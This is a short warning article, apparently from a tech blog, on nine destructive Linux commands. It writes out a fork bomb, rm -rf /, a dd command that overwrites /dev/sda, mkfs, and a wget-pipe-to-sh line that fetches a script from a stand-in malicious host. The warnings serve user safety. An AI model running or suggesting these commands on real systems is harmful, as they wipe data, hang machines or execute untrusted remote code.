Beware These 9 Dangerous Linux Commands That Can Wipe Your System

1. Linux Fork Bomb Command

The classic fork bomb :(){ :&; };: defines a Bash function that repeatedly spawns processes, quickly exhausting system resources and freezing the machine; the only remedy is a reboot.

2. mv /dev/null Command

Moving files to /dev/null silently discards all written data, acting as a "black hole" that appears to succeed while actually erasing information.

3. rm -rf Command

The rm -rf family can delete directories and files recursively without confirmation. Common variants include: rm – delete a file. rm -f – force deletion without prompts. rm -r – recursively delete directory contents. rm -d – delete an empty directory. rm -rf / – forcefully erase the entire filesystem. rm -rf * – erase everything in the current directory. rm -rf . – erase the current directory and its sub‑directories. rm -r.[^.]* – delete hidden files and directories with prompts.

4. mkfs Command

Running mkfs (or its variants such as mkfs.ext3, mkfs.vfat, etc.) formats a storage device, wiping all existing data; misuse can destroy entire disks.

5. Tar Bomb

A tar bomb is a malicious archive that, when extracted, creates an enormous number of files or directories, potentially filling the disk and causing a crash. Always extract unknown archives in a dedicated, empty directory.

6. dd Command

The dd utility copies raw data between devices. Incorrect usage (e.g., dd if=/dev/zero of=/dev/sda) can overwrite entire drives, rendering them unusable.

7. Malicious Shell Script

Downloading and executing a shell script from an untrusted source (e.g., wget http://malicious.example/script.sh -O- | sh) can run hidden harmful commands on your system.

8. Malicious Source Code

Compiling code from an unverified source may embed hidden malicious payloads; always compile only trusted, verified code.

9. Decompression Bomb

A small‑sized compressed file that expands to hundreds of gigabytes when decompressed, exhausting disk space and causing system failure. Avoid opening such files unless they come from a trusted source.